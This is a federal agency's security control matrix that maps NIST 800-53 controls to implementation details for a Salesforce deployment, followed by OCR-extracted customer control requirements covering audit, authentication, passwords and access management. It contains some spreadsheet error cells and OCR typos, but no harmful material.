		SC-07 (04)		M		Boundary Protection		The organization: (a) Implements a managed interface for each external telecommunication service; (b) Establishes a traffic flow policy for each managed interface; (c) Employs security controls as needed to protect the confidentiality and integrity of the information being transmitted; (d) Documents each exception to the traffic flow policy with a supporting mission/business need and duration of that need; (e) Reviews exceptions to the traffic flow policy annually; and (f) Removes traffic flow policy exceptions that are no longer supported by an explicit mission/business need.		ESS A&A and Organization		GSA Firewall and perimeter defense, Salesforce (cloud A&A)

		SC-08		M		Transmission Integrity		The information system protects the integrity of transmitted information.		Organization		Web page uses TLS 1.0/HMAC - Item performed as part of Cloud A&A		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS) 

		SC-08 (1)		M		Transmission Integrity		The organization employs cryptographic mechanisms to ensure recognition of changes to information during transmission unless otherwise protected by alternative physical measures (e.g., protective distribution systems).		Organization		Web page uses TLS 1.0/HMAC - Item performed as part of Cloud A&A		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS) 

		SC-08 (1)		M		Transmission Integrity		The organization employs cryptographic mechanisms to ensure recognition of changes to information during transmission unless otherwise protected by alternative physical measures (e.g., protective distribution systems).		Organization		Web page uses TLS 1.0/HMAC - Item performed as part of A&A		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS): and Administration Setup/ Security Controls/Identity Provider

		SC-09		M		Transmission Confidentiality		The information system protects the confidentiality of transmitted information.		Organization		Web page uses TLS 1.0 - Item performed as part of Cloud A&A		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS) 

		SC-09 (1)		M		Transmission Confidentiality		The organization employs cryptographic mechanisms to prevent unauthorized disclosure of information during transmission unless protected by alternative physical measures (e.g., protective distribution systems).		Organization		Web page uses TLS 1.0 - Item performed as part of Cloud A&A		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS) 

		SC-09 (1)		M		Transmission Confidentiality		The organization employs cryptographic mechanisms to prevent unauthorized disclosure of information during transmission unless protected by alternative physical measures (e.g., protective distribution systems).		Organization		Web page uses TLS 1.0 - Item performed as part of A&A		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS): and Administration Setup/ Security Controls/Identity Provider

		SC-10		M		Network Disconnect		The information system terminates the network connection associated with a communications session at the end of the session or after 30 minutes of inactivity.		Organization		Organization via Administration Settings -Session Settings		Administration Setup/Security Controls/Session Settings

		SC-13		M		Use of Cryptography		The information system implements required cryptographic protections using cryptographic modules that comply with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and guidance.		Organization		Organization via Administration Settings - Require HTTPS (Cloud A&A)		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS): and Administration Setup/ Security Controls/Identity Provider

		SC-18		M		Mobile Code		The organization: a. Defines acceptable and unacceptable mobile code and mobile code technologies; b. Establishes usage restrictions and implementation guidance for acceptable mobile code and mobile code technologies; and c. Authorizes, monitors, and controls the use of mobile code within the information system.		ERROR:#N/A

		SC-23		M		Session Authenticity		The information system provides mechanisms to protect the authenticity of communications sessions.		Organization		Default cert is provided by Salesforce and hence covered by Cloud A&A. Web page uses TLS 1.0.		Administration Setup/Security Controls/Session Settings/Require secure connections (HTTPS); and         Administration Setup/Security Controls, Identity Provider

		IR-06		M		Incident Reporting		The organization reports security incident information to designated authorities.		Common - SAISO		CIO IT Security 01-02 Rev. 8

		PL-01		M		Security Planning Policy and Procedures		The organization develops, disseminates, and reviews/updates every two years: a. A formal, documented security planning policy that addresses purpose, scope, roles, responsibilities, management commitment, coordination among organizational entities, and compliance; and b. Formal, documented procedures to facilitate the implementation of the security planning policy and associated security planning controls.		Common - SAISO		CIO IT Security 8-39 - Rev. 3

		PL-04		M		Rules of Behavior		The organization: a. Establishes and makes readily available to all information system users, the rules that describe their responsibilities and expected behavior with regard to information and information  system usage; and b. Receives signed acknowledgment from users indicating that they have read, understand, and  agree to abide by the rules of behavior, before authorizing access to information and the information system.		Common - SAISO		IT Rules of Behavior - GSA Order CIO 2104.1

		PL-05		M		Privacy Impact Assessment		The organization conducts a privacy impact assessment on the information system.		Organization		Item performed as part of an A&A (see CIO IT Security 11-62)

		PS-01		M		Personnel Security Policy and Procedures		The organization develops, disseminates, and reviews/updates every two years: (i) A formal, documented, personnel security policy that addresses purpose, scope, roles, responsibilities, management commitment, coordination among organizational entities, and compliance; and (ii) Formal, documented procedures to facilitate the implementation of the personnel security policy and associated personnel security controls.		Common - SAISO		CIO P2181.1 – GSA HSPD-12

		PS-02		M		Position Categorization		The organization: (i) Assigns a risk designation to all positions; (ii) Establishes screening criteria for individuals filling those positions and (iii)Reviews and revises position risk designations every three years.		Organization		Item performed as part of Org design

		PS-03		M		Personnel Screening		The organization screens individuals prior to authorizing access to organizational information and information systems before authorizing access.		ESS A&A/Common - GSA Policy		X - SecureAuth/GSA HSPD-12 Guidelines

		RA-01		M		Risk Assessment Policy and Procedures		The organization develops, disseminates, and reviews/updates every two years: (i) A formal, documented risk assessment policy that addresses purpose, scope, roles, responsibilities, management commitment, coordination among organizational entities, and compliance; and (ii) Formal, documented procedures to facilitate the implementation of the risk assessment policy and associated risk assessment controls.		Common - SAISO		CIO IT Security 06-30 Rev. 7 

		RA-02		M		Security Categorization		The organization: a. Categorizes information and the information system in accordance with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and guidance; b. Documents the security categorization results (including supporting rationale) in the security plan for the information system; and c. Ensures the security categorization decision is reviewed and approved by the authorizing official or authorizing official designated representative.		Organization		Item performed as part of the A&A

		RA-03		M		Risk Assessment		The organization conducts: (i) Conducts assessments of risk, including the likelihood and magnitude of harm, from the unauthorized access, use, disclosure, disruption, modification, or destruction of information and information systems that support the operations and assets of the organization; and(ii) Updates risk assessments every three years, or whenever there are significant changes to the information system or environment of operation, or other conditions that may impact the security state of the system..		Organization		Item performed as part of the A&A

		SA-01		M		System and Services Acquisition Policy and Procedures		The organization develops, disseminates, and reviews/updates every two years: (i) A formal, documented, system and services acquisition policy that addresses purpose, scope, roles, responsibilities, management commitment, coordination among organizational entities, and compliance; and (ii) Formal, documented procedures to facilitate the implementation of the system and services acquisition policy and associated system and services acquisition controls.		Common - SAISO		CIO-IT Security 09-48 Rev. 1

		SA-03		M		Life Cycle Support		The organization: a. Manages the information system using a system development life cycle methodology that includes information security considerations; b. Defines and documents information system security roles and responsibilities throughout the system development life cycle; and c. Identifies individuals having information system security roles and responsibilities.		Common - GSA Center of Excellence Process		This is a planned activity, awaiting the development process.

		SA-04		M		Acquisitions		The organization includes the following requirements and/or specifications, explicitly or by reference, in information system acquisition contracts based on an assessment of risk and in accordance with applicable federal laws, Executive Orders, directives, policies, regulations, and standards: a. Security functional requirements/specifications; b. Security-related documentation requirements; and c. Developmental and evaluation-related assurance requirements.		Common - SAISO		CIO-IT Security 09-48 Rev. 1

		SA-04 (1)		M		Acquisitions		The organization requires in acquisition documents that vendors/contractors provide information describing the functional properties of the security controls to be employed within the information system, information system components, or information system services in sufficient detail to permit analysis and testing of the controls.		Common - SAISO		CIO-IT Security 09-48 Rev. 1

		SA-04 (4)		M		Acquisitions		The organization ensures that each information system component acquired is explicitly assigned to an information system, and that the owner of the system acknowledges this assignment.		Common - SAISO		CIO-IT Security 09-48 Rev. 1

		SA-05		M		Information System Documentation		The organization: a. Obtains, protects as required, and makes available to authorized personnel, administrator documentation for the information system that describes: - Secure configuration, installation, and operation of the information system; - Effective use and maintenance of security features/functions; and - Known vulnerabilities regarding configuration and use of administrative (i.e., privileged) functions; and b. Obtains, protects as required, and makes available to authorized personnel, user documentation for the information system that describes: - User-accessible security features/functions and how to effectively use those security features/functions; - Methods for user interaction with the information system, which enables individuals to use the system in a more secure manner; and - User responsibilities in maintaining the security of the information and information system; and c. Documents attempts to obtain information system documentation when such documentation is either unavailable or nonexistent.		Organization		Item performed as part of the A&A

		SA-08		M		Security Engineering Principles		The organization applies information system security engineering principles in the specification, design, development, implementation, and modification of the information system.		Common - SAISO		CIO P2140-2

		SA-10		M		Developer Configuration Management		The organization requires that information system developers/integrators: a. Perform configuration management during information system design, development, implementation, and operation; b. Manage and control changes to the information system; c. Implement only organization-approved changes; d. Document approved changes to the information system; and e. Track security flaws and flaw resolution.		Common - SAISO		CIO P2140-2

		SA-11		M		Developer Security Testing		The organization requires that information system developers/integrators, in consultation with associated security personnel (including security engineers): a. Create and implement a security test and evaluation plan; b. Implement a verifiable flaw remediation process to correct weaknesses and deficiencies identified during the security testing and evaluation process; and c. Document the results of the security testing/evaluation and flaw remediation processes.		Common - SAISO		Sandboxes will be built for all development and testing of applications.

		SI-02		M		Flaw Remediation		The organization: a. Identifies, reports, and corrects information system flaws; b. Tests software updates related to flaw remediation for effectiveness and potential side effects on organizational information systems before installation; and c. Incorporates flaw remediation into the organizational configuration management process.		Organization		Item performed as part of the A&A

		SI-03		M		Malicious Code Protection		The organization: (i). Employs malicious code protection mechanisms at information system entry and exit points and at workstations, servers, or mobile computing devices on the network to detect and eradicate malicious code: - Transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means; or - Inserted through the exploitation of information system vulnerabilities. (ii). Updates malicious code protection mechanisms (including signature definitions) whenever new releases are available in accordance with organizational configuration management policy and procedures; (iii). Configures malicious code protection mechanisms to: (i) perform periodic scans of the information system regularly and real-time scans of files from external sources as the files are downloaded, opened, or executed; and (ii) disinfect and quarantine infected files; (iv). Considers using malicious code protection software products from multiple vendors as part of defense-in-depth; and (v). Addresses the receipt of false positives during malicious code detection and eradication and the resulting potential impact on the availability of the information system.		ENS A&A/ESS A&A and Organization		GSA Firewall and perimeter defense,  Secure Auth - NetIQ SM, Salesforce Cloud A&A

		SI-10		M		Information Input Validation		The information system checks the validity of information inputs.		ERROR:#N/A

		SI-11		M		Error Handling		The information system: (i). Identifies error conditions; (ii). Generates error messages that provide information necessary for corrective actions without revealing potentially harmful information that could be exploited by adversaries; (ii). Reveals error messages only to authorized personnel; and (iv). Prohibits inclusion of sensitive information in error logs or associated administrative messages.		ESS A&A and Organization		Hybrid Control - Org/AD. ENT logs retained utilizing NetIQ SM.		Organization and Application logs are retained by Salesforce and acquired via special request. It is a planned activity for an ad-hoc audit portal to be built.

		SI-12		M		Information Output Handling and Retention		The organization handles and retains both information within and output from the information system in accordance with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and operational requirements.		Organization		Org Administration Setup





Application

		Control		Control Name		Control Description		Where Implemented		How Implemented		Notes

		AC-03		Access Enforcement		The information system enforces assigned authorizations for controlling access to the system in accordance with applicable policy; user privileges are consistent with documented user authorizations.		Application		Application level controls implemented via Profiles and Permission Sets		Organization Settings:  Administration Setup/Manage Users/Profiles and Manage Users/Permission Sets

		AC-05		Separation of Duties		The organization: a. Separates duties of individuals as necessary, to prevent malevolent activity without collusion; b. Documents separation of duties; and c. Implements separation of duties through assigned information system access authorizations.		Application		Application level controls implemented via Profiles and Permission Sets		Organization Settings:  Administration Setup/Manage Users/Profiles and Manage Users/Permission Sets

		AC-06		Least Privilege		The organization employs the concept of least privilege, allowing only authorized accesses for users (and processes acting on behalf of users) which are necessary to accomplish assigned tasks in accordance with organizational missions and business functions.		Application		Application level controls implemented via Profiles and Permission Sets		Organization Settings: Administration Setup/Manage Users/Profiles and Manage Users/Permission Sets

		AC-22		Publicly Accessible Content		The organization: (a) Designates individuals authorized to post information onto an organizational information system that is publicly accessible; (b) Trains authorized individuals to ensure that publicly accessible information does not contain nonpublic information; (c) Reviews the proposed content of publicly accessible information for nonpublic information prior to posting onto the organizational information system; (d) Reviews the content on the publicly accessible organizational information system for nonpublic information annually; and (e) Removes nonpublic information from the publicly accessible organizational information system, if discovered.		Organization/Application		Org - Administration Settings and Application- Application Development		Organization Settings:  Administration Setup//Manage Users/Profiles and Manage Users/Permission Sets

		AU-02		Auditable Events		The organization: a. Determines, based on a risk assessment and mission/business needs, that the information system must be capable of auditing the following events: Successful and unsuccessful Account logon events, account management events, object access, policy change, privilege functions, process tracking, and system events.  Web applications should log all admin activity, authentication checks, authorization checks, data deletions, data access, data changes, and permission changes; b. Coordinates the security audit function with other organizational entities requiring audit related information to enhance mutual support and to help guide the selection of auditable events; c. Provides a rationale for why the list of auditable events are deemed to be adequate to support after-the-fact investigations of security incidents; and d. Determines, based on current threat information and ongoing assessment of risk, that the following events are to be audited within the information system:  Implement audit configuration requirements as documented in applicable GSA IT Security Technical Hardening Guides. Web applications should log all admin activity, authentication checks, authorization checks, data deletions, data access, data changes, and permission changes.		ESS A&A/Organization		Hybrid Control 		Organization Settings:  Administration Setup/Manage Users/Login History and   Manage Users/Identity Provider Error Log.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-02 (3)		Auditable Events		The organization reviews and updates the list of organization-defined auditable events annually or whenever there is a change in system's threat environment as communicated by GSA S/SO or the GSA SAISO. 		ESS A&A/Organization		Hybrid Control 		Organization Settings:  Application Setup/Customize/Activities.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-02 (4)		Auditable Events		The organization includes execution of privileged functions in the list of events to be audited by the information system.		ESS A&A/Organization		Hybrid Control 		Organization Settings:  Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-02 (4)		Auditable Events		The organization includes execution of privileged functions in the list of events to be audited by the information system.		ESS A&A/Organization/Application		Hybrid Control  - AD/Organization/Application		Organization Settings:  Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-03 (1)		Content of Audit Records		The information system provides the capability to include additional, more detailed information in the audit records for audit events identified by type, location, or subject.                                                (i) Session, connection, transaction, or activity duration.

(ii) For client-server transactions, the number of bytes received and bytes sent.  This gives bidirectional transfer information that can be helpful during an investigation or inquiry.

(iii) For client-server transactions, unique metadata or properties about the client initiating the transaction.  This could include properties such as an IP address, user name, session identifier or browser characteristics (e.g. a ‘User-Agent’ string).

(iv) Details regarding the event ‘type’: the type of method (for HTTP: GET/POST/HEAD, etc) or action (Database INSERT, UPDATE, DELETE).

(v) Characteristics that describe or identify the object or resource being acted upon.

(vi) Additional informational messages to diagnose or identify the event.		ESS A&A/Organization		Hybrid Control - AD level based on enable/disable auditing within ENT and Org level.		Organization Settings - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-04		Audit Storage Capacity		The organization allocates sufficient audit record storage capacity and configures auditing to prevent such capacity being exceeded.		ESS A&A/Organization		Hybrid Control - AD/ ENT logging utilizing NetIQ SM and Org level.		Organization Setting:  Org level is 180 days.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-06		Audit Review, Analysis, and Reporting		The organization: a. Reviews and analyzes information system audit records for indications of inappropriate or unusual activity weekly, and reports findings to designated organizational officials; and b. Adjusts the level of audit review, analysis, and reporting within the information system when there is a change in risk to organizational operations, organizational assets, individuals, other organizations, or the Nation based on law enforcement information, intelligence information, or other credible sources of information.		ESS A&A/Organization		Hybrid Control - AD/ENT logging and reporting utilizing NetIQ SM and Org level.		Organization Setting - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-07		Audit Reduction and Report Generation		The information system provides an audit reduction and report generation capability.		ESS A&A/Organization		Hybrid Control - AD level based on enable/disable auditing within ENT and Org level.		Organization Settings - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-07 (1)		Audit Reduction and Report Generation		The information system provides the capability to automatically process audit records for events of interest based upon selectable, event criteria.		ESS A&A/Organization		Hybrid Control - AD level based on enable/disable auditing within ENT and Org level.		Organization Settings - Administration Setup/Manage Users/Login History.  It is a planned activity for an ad-hoc audit portal to be built.

		AU-09		Protection of Audit Information		The information system protects audit information and audit tools from unauthorized access, modification, and deletion.		ESS A&A and Organization		Separation of Duties via SecureAuth and Org Administration Setup		Organization Settings:  Administration Setup/Manage Users/Users It is a planned activity for an ad-hoc audit portal to be built.

		AU-11		Audit Record Retention		The organization retains audit logs until they reach its maximum allocated size to provide support for after-the-fact investigations of security incidents and to meet regulatory and organizational information retention requirements.		ESS A&A/Organization/Application		Hybrid Control - AD/ENT logs retained utilizing NetIQ SM and Org level and Application level.		Organization and Application logs are retained by Sales Force and acquired via special request. It is a planned activity for an ad-hoc audit portal to be built.

		IA-02		User Identification and Authentication		The information system uniquely identifies and authenticates users (or processes acting on behalf of users).		ESS A&A/Application		SecureAuth		Organization Settings:  SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings.

		IA-02 (1)		User Identification and Authentication		The information system uses multifactor authentication for network access to privileged accounts.		ESS A&A/Application		SecureAuth		Organization Settings:  SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings.

		IA-02 (2)		User Identification and Authentication		The information system uses multifactor authentication for network access to non-privileged accounts.		ESS A&A/Application		SecureAuth		Organization Settings:  SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings.

		IA-02 (8)		User Identification and Authentication		The information system uses replay-resistant authentication mechanisms for network access to privileged accounts.		ESS A&A and Organization		SecureAuth/HTTPS		Organization Settings: Administration Setup/Security Controls/Single Sign-On Settings

		IA-05		Authenticator Management		The organization manages information system authenticators for users and devices by: (i). Verifying, as part of the initial authenticator distribution for a user authenticator, the identity of the individual receiving the authenticator; (ii). Establishing initial authenticator content for organization-defined authenticators; (iii). Ensuring that authenticators have sufficient strength of mechanism for their intended use;(iv). Establishing and implementing administrative procedures for initial authenticator distribution, for lost/compromised, or damaged authenticators, and for revoking authenticators; (v). Changing default content of authenticators upon information system installation; (vi). Establishing minimum and maximum lifetime restrictions and reuse conditions for authenticators (if appropriate); (vii). Changing/refreshing authenticators(viii). Protecting authenticator content from unauthorized disclosure and modification; and (x). Requiring users to take, and having devices implement, specific measures to safeguard authenticators.		ESS A&A/Application		SecureAuth		Organization Settings:  SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings.

		IA-05 (1)		Authenticator Management		The information system, for password-based authentication: (a) Enforces minimum password complexity for passwords. Passwords must contain a minimum of eight (8) characters and must contain a combination of letters, numbers, and special characters. Mobile devices (I.e. USB drives, Blackberry and other Government approved Smart Phone devices, personal digital assistants) require a minimum of 4 characters, but do not have to be a combination of letters, numbers, and special characters.  Accounts used to access Federal Desktop Core Configuration (FDCC) compliant workstations (i.e. Windows XP and Windows Vista) must have twelve (12) character passwords.       ; (b) Enforces a minimum number of characters that must be changed when new passwords are created; At least 1 or GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO (where possible). (c) Encrypts passwords in storage and in transmission; (d) Enforces password minimum and maximum lifetime restrictions; FDCC - 1 Day minimum 60 Day maximum; All Others 1 Day Minimum 90 Days maximum  and (e) Prohibits password reuse for a number of iterations; FDCC - 24 Passwords Remembered; All Others 10 passwords remembered.   		ESS A&A/Application		SecureAuth		Organization Settings:  SecureAuth is configured in Administration Setup/Security Controls/Single Sign On Settings.

		PL-05		Privacy Impact Assessment		The organization conducts a privacy impact assessment on the information system.		Application		Item performed as part the process outlined in CIO-IT Security-11-62

		PS-02		Position Categorization		The organization: (i) Assigns a risk designation to all positions; (ii) Establishes screening criteria for individuals filling those positions and (iii)Reviews and revises position risk designations every three years.		Application		Item performed as part of the organizational design of the Salesforce implementation covered by the Saleforce Org A&A.

		RA-02		Security Categorization		The organization: a. Categorizes information and the information system in accordance with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and guidance; b. Documents the security categorization results (including supporting rationale) in the security plan for the information system; and c. Ensures the security categorization decision is reviewed and approved by the authorizing official or authorizing official designated representative.		Application		Item performed as part the process outlined in CIO-IT Security-11-62

		RA-03		Risk Assessment		The organization conducts: (i) Conducts assessments of risk, including the likelihood and magnitude of harm, from the unauthorized access, use, disclosure, disruption, modification, or destruction of information and information systems that support the operations and assets of the organization; and(ii) Updates risk assessments every three years, or whenever there are significant changes to the information system or environment of operation, or other conditions that may impact the security state of the system..		Application		Item performed as part the process outlined in CIO-IT Security-11-62

		SA-05		Information System Documentation		The organization: a. Obtains, protects as required, and makes available to authorized personnel, administrator documentation for the information system that describes: - Secure configuration, installation, and operation of the information system; - Effective use and maintenance of security features/functions; and - Known vulnerabilities regarding configuration and use of administrative (i.e., privileged) functions; and b. Obtains, protects as required, and makes available to authorized personnel, user documentation for the information system that describes: - User-accessible security features/functions and how to effectively use those security features/functions; - Methods for user interaction with the information system, which enables individuals to use the system in a more secure manner; and - User responsibilities in maintaining the security of the information and information system; and c. Documents attempts to obtain information system documentation when such documentation is either unavailable or nonexistent.		Application		Item performed as part the process outlined in CIO-IT Security-11-62

		SI-02		Flaw Remediation		The organization: a. Identifies, reports, and corrects information system flaws; b. Tests software updates related to flaw remediation for effectiveness and potential side effects on organizational information systems before installation; and c. Incorporates flaw remediation into the organizational configuration management process.		Application		Item performed as part the process outlined in CIO-IT Security-11-62

		SI-03		Malicious Code Protection		The organization: (i). Employs malicious code protection mechanisms at information system entry and exit points and at workstations, servers, or mobile computing devices on the network to detect and eradicate malicious code: - Transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means; or - Inserted through the exploitation of information system vulnerabilities. (ii). Updates malicious code protection mechanisms (including signature definitions) whenever new releases are available in accordance with organizational configuration management policy and procedures; (iii). Configures malicious code protection mechanisms to: (i) perform periodic scans of the information system regularly and real-time scans of files from external sources as the files are downloaded, opened, or executed; and (ii) disinfect and quarantine infected files; (iv). Considers using malicious code protection software products from multiple vendors as part of defense-in-depth; and (v). Addresses the receipt of false positives during malicious code detection and eradication and the resulting potential impact on the availability of the information system.		ENS A&A/ESS A&A/SF Cloud A&A/Organization		GSA ENS Firewall and perimeter defense,  ESS Secure Auth - NetIQ SM, Salesforce Cloud A&A and Organization

		SI-11		Error Handling		The information system: (i). Identifies error conditions; (ii). Generates error messages that provide information necessary for corrective actions without revealing potentially harmful information that could be exploited by adversaries; (ii). Reveals error messages only to authorized personnel; and (iv). Prohibits inclusion of sensitive information in error logs or associated administrative messages.		ESS A&A/Organization/Application		Hybrid Control - AD/ENT logs retained utilizing NetIQ SM and Org level and Application level.		Organization and Application logs are retained by Sales Force and acquired via special request. It is a planned activity for an ad-hoc audit portal to be built.

		SI-10		Information Input Validation		The information system checks the validity of information inputs.		Application		Item performed as part the process outlined in CIO-IT Security-11-62		Code review process as defined in CIO-IT Security-11-62

		SI-12		Information Output Handling and Retention		The organization handles and retains both information within and output from the information system in accordance with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and operational requirements.		Organization		Org System Administration Setup
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Appendix H: Customer Controls

NIST 800-53 R3 — Customer Requirements

Salesforce.com online security documentation and security configurations identified in the System Security Plan and
Appendix C should be reviewed in addition to the control reguirements documented below.

Control

sk Reference

Requirements

Mandatory Control Requirements
1 Configure Single Sign-on (SSO) using either federated authentication via Security

Assertion Markup Language (SAML) or delegated authentication and ensure that the

controls below are implemented with respect to Salesforce, in accordance with agency

policy:

e  Establishing conditions for group, profile, and role membership Section 13.2

AC-2h.

e Identifying authorized users of the Force.com platform/ CRM Applications and Section 13.2
specifying access privileges AC-2c., SI-9

e Requiring appropriate approvals for requests to establish accounts Section 13.2

AC-2d.
e  Establishing, activating, modifying, disabling , and deactivating accounts Section 13.2
AC-2e.

e Notifying account managers when users are terminated, transferred, or information | Section 13.2
system usage or need-to-know/need-to-share changes AC-2g.

e Deactivating or disabling (permanent action) accounts when information system Section 13.2
users are terminated, transferred, or information system usage or need-to-know AC-2h.
changes

e  Granting access to the system based on: Section 13.2

AC-2i.
Q) A valid access authorization;
(i) Intended system usage; and
(iii) Other attributes as required by the organization or associated
missions/business functions

e Reviewing accounts at an agency defined frequency. The GSA frequency is Section 13.2
annually. AC-2j.

e  Employing automated mechanisms to support the management of Force.com/CRM | Section 13.2
Application accounts. AC-2(1)

e Terminating emergency accounts after an agency defined time period. The GSA Section 13.2
frequency is 90 days. AC-2(2)

e Automatically disabling inactive accounts after an agency defined time period. The | Section 13.2
GSA frequency is 90 days. AC-2(3), IA-4

e

e Automatically auditing account creation, modification, disabling, and termination Section 13.2

actions, and notifying, as required, appropriate individuals AC-2(4)
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. Control
Ref. Requirements Reference
Enforcing an agency defined limit of consecutive invalid access attempts by auser | Section 13.2
during an agency defined time period. The GSA frequency is ten consecutive AC-7a
invalid access attempts during a 30 minute time period.
Automatically locking the account for an agency defined time period, locking the Section 13.2
account until it is released by an administrator, or delaying the next login prompt for | AC-7b.
an agency defined delay when the maximum number of unsuccessful attemptsis
exceeded. The GSA frequency is 30 minutes.
Displaying the agency’ s approved system use notification. Section 13.2
AC-8
NOTE: The system use notification banner can be created in App Setup, which
isavailable to administrators. For customers implementing a single sign-on
solution, customers can work with the identity provider to display a system use
notification banner on the redirect/login page provided by the identity provider.
The system use naotification banner should be retained on the identity provider
redirect/login page until the user takes explicit action to log in.
Enabling session lock after an agency defined frequency of inactivity. The GSA Section 13.2
frequency is 15 minutes. AC-1lla
Configuring access permissions for users to ensure that only authorized individuals | Section 13.2
have access to view audit records and reports. AU-9
Implementing multi-factor authentication for privileged accounts and non-privileged | Section 13.2
accounts through the use of single sign-on (SSO). IA-2(1), 1A-
2(2
If the customer chooses to use delegated authority SSO then the customer should @
ensure that the authenti cation mechanism they are being delegated to requires two-
factor authentication.
If the customer chooses to use SAML SSO, the customer should work with the
SAML provider to reguire multifactor authentication at login.
Managing information system authenticators for users by: verifying, as part of the Section 13.2
initial password distribution, the identity of the individual receiving the IA-5a
authenticator
Establishing initial password content for authenticators defined by the organization. | Section 13.2
IA-5b.
Ensuring that authenticators have sufficient strength of mechanism for their intended | Section 13.2
use. The GSA frequency is at least 8 characters and must contain acombination of | IA-5¢.
letters, numbers, and special characters.
Establishing and implementing administrative procedures for initial authenticator Section 13.2
distribution, for lost/compromised or damaged authenticators, and for revoking IA-5d.
authenticators
Changing default content of authenticators upon information system installation Section 13.2
IA-5e.
(Establishing minimum and maximum lifetime restrictions and reuse conditionsfor | Section 13.2
passwords. The GSA frequency is 1 day minimum, 90 day maximum, and 10 IA-5f.
passwords remembered.
Changing/refreshing passwords at an agency defined frequency. The GSA Section 13.2
frequency is 90 days. IA-59.
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. Control
Ref. Requirements Reference
e  Protecting authenticator content from unauthorized disclosure and modification Section 13.2
IA-5h.
e Requiring users to take specific measures to safeguard authentication Section 13.2
IA-5i.

e Managing password-based authentication including: establishing a minimum Section 13.2
password length and enforcing minimum password complexity of (agency-defined | 1A-5(1) a
requirements for case sensitivity, number of characters, mix of upper-case |etters,
lower-case letters, numbers, and special characters, including minimum
requirements for each type). The GSA frequency is at least 8 characters and must
contain a combination of letters, numbers, and special characters.

e Enforcing at least a (agency-defined number of changed characters) when new Section 13.2
passwords are created. The GSA frequency is at least one character. IA-5(1) b.

e Encrypting authenticators in storage. Section 13.2

IA-5(1) c.

e  Enforcing password minimum and maximum lifetime restrictions set by the agency. | Section 13.2
The GSA frequency is 1 day minimum and 90 day maximum. IA-5(1) d.

e  Prohibiting password reuse for agency-defined number of generations. The GSA Section 13.2
frequency is 10 generations. IA-5(1) e.

Ensure that authorizations are approved, and ensure the process is performed in Section 13.2

accordance with applicable agency policy. AC-3

Separate duties of individuals as necessary through the use of profiles, roles, groups, and | Section 13.2

object-level permissions, to prevent malevolent activity without collusion. Implement AC-5a,AC-5

separation of duties through assigning information access authorizations as defined C.

above.

Document the segregation of duties within the agency’ simplementation of the Section 13.2

Force.com/CRM Applications as hecessary to prevent malevolent activity without AC-5h.

collusion

NOTE: Snce agency platform administrators are potentially able to access data within

the agency org, it isimportant that the agency have personnel security controlsin place

to make surethereisalevel of trust associated with those performing platform

administrator roles.

Employ the concept of least privilege, by alowing only authorized access for userswhich | Section 13.2

are necessary to accomplish assigned tasks in accordance with organizational mission AC-6, SC-2

and business functions. Restrict information system management functionalities to the

Platform System Administrator or designated System Administrators.

Determine if public sites within the Force.com platform are allowed on the agency’s Section 13.2

instance of the Force.com platform. AC-14, AC-

L ) 14(1) 1A-8
Customers that allow public sites should:

e |dentify specific user actions that can be performed on public sites without

identification and authentication.
e Document and provide supporting rational for user actions that do not require

identification and authentication on public sites.
e Allow accessto the public site without requiring users to perform identification

and authentication should do so only to the extent necessary to accomplish
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. Control
Ref. Requirements Reference
mission/business objectives.
Note: Customers can set login hours and login IP ranges to further restrict when users
can access the public site.

7. Define alist of auditable events that includes both default system logging and customer Section 13.2
specific logging. The customer should review and update the list of auditable events at AU-2, AU-2(3),
an agency defined time period. The GSA frequency isannually or whenever thereisa AU-2(4), AU-
change in system’ s threat environment as communicated by the GSA S/SO AO or the 3(1), AU-7,
GSA SAISO. AU-7(2)
Coordinate the security audit function for the application with other organizational
entities requiring audit related information and provide arationa e for why the list of
auditable events is deemed to be adequate to support after-the-fact investigations of
security incidents. Once customers have defined alist of auditable events, customers
have the capability to configure auditing within their implementation of the Force.com
platform. Customers can configure auditing through field history tracking, object level
history, and other capabilities. Customers can also write custom code to enhance the
auditing capability. Additionally, customers can request audit information from
Salesforce.com for session and connection duration information and further details on the
identity of approved Technical Support personnel who logged into the customer’s
organization. Customers can use the reports tab and the selectable event criteriawithin
the reports tab, to generate and view customer reports for events of interest.

8. Determine if audit reports from Salesforce.com should be stored outside of the Section 13.2
organization’' sinstance of Salesforce.com AU-4

9. Review and analyze audit records from the agency’ s implementation of the Force.com Section 13.2
platform at an agency defined frequency for indications of inappropriate or unusual AU-6
activity and for reporting findings to designated organizational officials. The GSA
frequency isweekly.

Customers should adjust the level of audit review, analysis, and reporting within their
instance of Salesforce.com when thereisachangein risk to organizational operations,
organizational assets, individuals, other organizations, or the Nation based on law
enforcement information, intelligence information, or other credible sources of
information.

10. | If audit information is stored outside of the application the agency is responsible for Section 13.2
protecting the audit information from unauthorized access, modification, and deletion AU-9

11. | Export reports and retain audit reportsin accordance with the agency applicable records | Section 13.2
retention policy. The GSA frequency is at least 180 days. AU-11

12. | Thiscontrol is designated as afederal control responsibility. The federal agency must Section 13.1
maintain applicable policies and procedures and disseminate to the contractor. GSA has CA-1
